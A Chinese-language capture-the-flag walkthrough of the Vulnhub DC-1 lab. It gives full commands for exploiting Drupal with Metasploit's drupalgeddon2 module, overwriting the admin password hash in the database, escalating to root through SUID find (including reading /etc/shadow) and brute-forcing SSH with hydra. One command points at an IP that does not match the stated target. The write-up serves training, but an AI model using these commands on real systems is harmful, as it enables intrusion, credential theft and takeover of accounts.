一、前言
我们都知道,对靶机的渗透,可以宽阔自己的解题思路,练习并熟悉相关操作命令,提高自己的能力。下面我就对Vulnhub的DC-1靶机进行渗透,靶机设置了5个flag,咱们依次找到它。并通过图文形式讲解涉及到的相关知识点。
靶机:DC-1,IP地址:192.168.186.131
攻击机:Kali,IP地址:192.168.186.130
二、渗透测试
1、部署靶机
下载安装DC-1,并启动DC-1,下载完解压后会有一个以.ova为后缀的文件,直接在VM中用”打开虚拟机”,在设置中修改网络适配器为NET模式。
在这里记一下DC-1的MAC地址,等下用的到。
启动DC-1时开机就好,因为不知道用户名和密码,所以登录不了
2、查看攻击机相关信息
打开kali,查看kali的IP地址和子网掩码
因为DC-1和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得DC-1的网络号
DC-1的网络号是:192.168.186.0/24
3、主机发现
使用netdiscover扫描主机
netdiscover -i eth0 -r 192.168.186.0/24
##netdiscover: -i 指定网卡 -r 指定网段
也可以使用nmap进行主机发现,
nmap -sP 192.168.186.0/24
在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址
根据之前记下的MAC地址确定扫描到的主机哪一个是DC-1,因为MAC地址是主机的唯一标识。
获得DC-1靶机ip:192.168.186.131(可通过浏览器访问进行验证)
4、端口扫描
使用nmap扫描DC-1,看有什么服务是可利用的(端口扫描)
root@kali:~# nmap -sV -A 192.168.186.131
发现目标机开放了22、80、111端口。
5、信息收集
我们以80端口作为突破口。访问80,查看基本信息,可以使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到Drupal的版本
6、利用metasploit-framework进行渗透攻击
下面使用MSF进行渗透攻击。打开工具,搜索Drupal的相关模块。
msf5 > search Drupal
这里我选择第5个模块。
输入命令:
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.186.131
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit
7、获取meterpreter shell
获取到了meterpreter shell,现在查看一下目录,发现目标,找到flag1
8、查看flag1文件并寻找配置文件
查看flag1文件,发现有提示,咱们寻找配置文件。Drupal的配置文件是网站根目录下的/site/defaultx下的setting.php文件,所以接下来进入sites目录下,接着进入default目录,查看settings.php文件。
9、发现flag2,进入数据库
我们进入对应目录,查看settings.php文件,发现flag2,而且还有数据库账号和密码,flag2提示不要使用字典暴力破解密码,应该使用其他方法,通过数据库应该是一种方法。
现在尝试登陆数据库,使用mysql命令登录,发现mysql命令无效
meterpreter > mysql -udbuser -pR0ck3t
进入目标机shell环境,查看端口情况。命令:netstat -ano
我们注意到,数据库只允许本地连接。所以,我们需要反弹一个shell出来。
使用exit命令退出,然后输入shell,切换外壳,再次登录mysql发现终端不能正常回显信息
使用exit命令退出,然后再次进入shell,输入python -v,发现系统自带Python 2.7,通过pty.spawn()获得交互式shell
采用python调用系统命令:
python -c 'import pty;pty.spawn("/bin/bash")'
发现反弹成功,接下来输入数据库账号密码连接MySQL数据库。
10、查看数据库相关信息
下面,我们查看库,查看表
mysql> show databases;
mysql>use drupaldb; #使用drupaldb数据库
mysql>show tables; #查看数据库内的表
发现有一个名字为user的表,查看其中的项
select语句查询,找到可用于登录的用户admin和密码密文
mysql> select * from users;
整理一下
mysql> select * from users\G
11、破解并替换用户密码
发现了admin账户和密码。但是这个密码有点复杂,破解有点困难。所以想想其他的方法。这里我们登陆了对方数据库,所以,我们采用对方的加密方式覆盖掉原来的密码就可以了。密文产生的脚本是/scripts/password-hash.sh,使用这个脚本产生123456密文,产生的密文替换数据库中admin的密文,admin用户的密码就能改成123456,完成后使用update命令更新。
使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下
退出数据库,使用加密脚本加密新密码:123456,生成加密密文
命令:php scripts/password-hash.sh 123456
password: 123456 hash: $S$DNRRv7QXsGagI0rl3DlCVgU.8WShIZnnPmocApA7B5C0mIItBQTx
接着进入drupaldb数据库,替换掉原来的密码。
www-data@DC-1:/var/www$ mysql -udbuser -pR0ck3t
mysql> show databases;
mysql> use drupaldb;
mysql> update users set pass="$S$DNRRv7QXsGagI0rl3DlCVgU.8WShIZnnPmocApA7B5C0mIItBQTx" where uid=1;
替换成功
12、登录网站,获得flag3
替换成功后,使用admin/123456登陆网站,登录成功
在Content下找到Flag3
13、查看发flag3信息,获得flag4,find提权
接下来,我们看看得到的Flag3的线索:
关键词:FIND、PERMS、-exec、shadow
点击flag3后,关注点放到passwd文件和shadow文件。
退出mysql模式后,键入:
$ cat /etc/passwd
发现flag4的位置,
$ cd /home/flag4
$ ls
$ cat flag4.txt
flag4.txt的内容:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
告诉我们需要提升权限
Linux为了考虑安全性,用单独的shadow文件存储Linux用户的密码信息,并且只有root用户有权限读取此文件。所以下一步,我们要考虑的是提权了。
采用find提权。注意:find (一个路径或文件必须存在) -exec 执行命令 (结束)\;进行find提权前,需要进检查find命令是否有suid权限,有suid权限可进行提权操作
$ find ./ aaa -exec '/bin/sh' \;
# whoami
# cd /root
# ls
# cat thefinalflag.txt
得到root权限和最终flag。
14、发现ssh账户,爆破密码
查看shadow文件
发现flag4是一个账户。猜测是ssh账户,这里尝试暴力破解。flag4用户密码可以使用ssh登录进行爆破
wget http://www.openwall.com/john/j/john-1.8.0.tar.gz #下载John密码包
tar -xvf john-1.8.0.tar.gz #解压缩
cd john-1.8.0/ src #进入源码目录下
uname -a #查看当前系统版本
make linux-x86-64 #编译并指定当前的Linux系统版本
使用hydra+John密码包对flag4的密码进行爆破,爆破密码为:flag4/orange
hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.1.103 -f -vV -o hydraflag4.ssh
15、进行ssh登录,发现最终flag
flag4用户使用ssh登录
root@kali:~# ssh flag4@192.168.186.131
在flag4用户的家目录中,发现flag4.txt
进去之后,发现是“$”,而不是“#”,用上边同样的方法,find命令提权为root,在root的根目录下发现最终的flag文件!至此5个flag全部找到!
主要联系了命令和工具的使用,以及使用find命令找suid和提权。
三、补充:find提权
进行find提权前,需要进检查find命令是否有suid权限,有suid权限可进行提权操作
1. 查看find命令权限
方法 一、
1. 查看find命令位置
which find
2. 查看 find 命令权限
ls -l /usr/bin/find # 这是find 默认位置
-rwsr-xr-x. 1 root root 199200 Nov 20 2015 /usr/bin/find
# 有s 代表具有suid 权限,表示可以提权
方法 二、
# 用find 命令查找 有超级属性的文件
find / -perm -4000 -type f 2>/dev/null
或
find / -perm -u=s -type f 2>/dev/null
-perm:按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限
-type:d(目录)f(文件)c(字符设备文件)b(块设备文件)
下图表示,find命令具有suid 权限,表示可以提权
如果find命令没有suid权限,可以给find命令赋予suid权限
chmod u+s /usr/bin/find
find拥有suid权限位,尝试以find命令执行whoami
find `which find` -exec whoami \;
通过对比发现已经是以root权限执行find命令
2. 假如find命令可提权 有s权限位
权限位 u + s
权限为 4xxx
# 查看是否可以用root 命令执行命令
find `which find` -exec whoami \;
# 命令解释: 以find 命令 执行 whoami 命令。
# find (一个路径或文件必须存在) -exec 执行命令 (结束)\;
可以直接执行命令
find /usr/bin/find -exec cat /etc/shadow \;
查看普通用户没有权限查看的文件。